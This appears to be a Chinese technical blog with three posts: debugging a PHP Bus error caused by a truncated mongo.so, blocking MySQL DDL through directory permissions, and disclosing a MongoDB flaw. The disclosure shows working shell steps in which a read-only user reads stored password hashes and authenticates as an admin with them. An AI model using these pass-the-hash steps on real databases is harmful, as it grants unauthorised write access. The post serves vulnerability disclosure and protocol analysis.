调试一个 Bus error 错误

遇到一部分主机运行 php 的时候报 Bus error 错误,直接退出。

# /path/to/php
Bus error

于是用 strace 跟踪了一下,看看到底是怎么回事。

# strace /path/to/php
...
...
...
open("/path/to/php/lib/php/extensions/no-debug-non-zts-20090626/mongo.so", O_RDONLY) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0`\270\0\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0644, st_size=32636, ...}) = 0
mmap(NULL, 2309488, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x2b1e8e689000
mprotect(0x2b1e8e6ba000, 2097152, PROT_NONE) = 0
mmap(0x2b1e8e8ba000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x31000) = 0x2b1e8e8ba000
--- SIGBUS (Bus error) @ 0 (0) ---
+++ killed by SIGBUS +++

strace 的最后几行如上面所示,进程受到了一个 SIGBUS 信号,看起来是 mmap 引起的。从这几行里看,是 php 在加载 mongo 扩展 mongo.so 时出的错。搜索了一下,mmap 映射内存的时候,在映射超出文件大小范围的内存空间时,可能引发这个 SIGBUS 。就上面的结果看,fstat 的结果表明,文件大小是 32636 字节。而最后那个 mmap 的 offset 参数 0x31000 即 200704,的定位范围直接就超过了文件大小,所以就引发了这个错误。

考虑到这个问题只在部分主机上出现,所以应当不是 php 或者 mongo 扩展本身的 bug 。最后发现是通过 puppet 同步下来的 mongo.so 不完整,比正常的小了很多。重新同步后恢复正常。

由此也可以看出,在加载动态库时是根据 elf 文件中标记的段大小来映射内存的。所以就发生了在文件不完整时 mmap 出错的情况。

在 mysql 中对特定的库禁用 DDL 语句

mysql 的权限控制功能虽然已经比较强大,但是是基于白名单规则,所以没法做到对除某某库,如 mysql 库以外的所有库分配权限,或者说单独禁用某个库的某些权限。虽然可以一个个库地分配,但是这样毕竟麻烦,尤其是在库的数量会动态变化的情况下。

对于 DDL 语句,也就是 create 、alter 、drop 之类,有一个特殊的办法可以做到。其实也很简单,去掉那个库所在的目录的写权限即可。例如:

chmod a-w mysql

之后,在 mysql 库上执行任意 DDL 语句都会出错。

这方法看着挺恶心,不过也没找到更好的解决办法。

MongoDB 权限提升安全漏洞

mongodb 可以通过 readOnly 参数建立只读和可以读写的用户。但是只读用户也可以访问 db.system.user,所以可以拿到所有用户的密码的 hash 值。按照协议,只需要传递这个 hash ,而不用知道密码就能通过认证。所以,只读用户就可以由此获取可写的权限。

如:

> db.system.users.find()
{ "_id" : ObjectId("4fd068ae34ae311cd063f9b2"), "user" : "sa", "readOnly" : false, "pwd" : "84c689ded211fb631fd5f5dedc5d4539" }
{ "_id" : ObjectId("4fd07496cf5f726c2428ac3a"), "user" : "ro", "readOnly" : true, "pwd" : "d8883d4475561e209dda05a54a98c8f6" }
> db.$cmd.findOne({getnonce:1})
{ "nonce" : "9892be9572e9851e", "ok" : 1 }
> db.runCommand({ authenticate : 1, user : "sa", nonce : "9892be9572e9851e", key : hex_md5("9892be9572e9851e"+"sa"+"84c689ded211fb631fd5f5dedc5d4539") })
{ "ok" : 1 }

这样就获取了可写的用户的权限。

已经提交 bug https://jira.mongodb.org/browse/SERVER-6031 据说会在 2.1.1 中修复。

这种漏洞属于协议设计方面的漏洞。关键在于使用数据库中保存的 hash 串就能完成认证,而无须知道密码。如果保存的是经过两次 hash,就能避免这样的问题。mysql 在 4.0 – 4.1 在认证上的修改也是如此。mongodb 咋还掉进前人掉过的坑呢。或者禁止只读用户访问 system.users 也行。

mysql 的认证方式是这样的:

服务器端储存了 sha1(sha1(password)) ,也就是 sha1(hash1)。

服务端给客户端发一个随机串 scramble,客户端计算 hash1 = sha1(password);hash2 = sha1(scramble + sha1(hash1))。然后发送 token = hash1 xor hash2 到服务器端。

服务器端计算 hash1′ = token xor sha1(scramble + mysql.user.password)) ,然后计算 sha1(hash1′) ,和储存的 sha1(hash1) 比较,如果相同就通过验证。

这样即使获取了存放的 hash 值也无法构造出请求。不过这种方式关键点在 hash1,如果能在获取存放的 hash 值的同时,能监听到通信的话,还是可以通过获取一次请求中的 scramble 和 token 来计算出 hash1 。之后就可以通过认证了。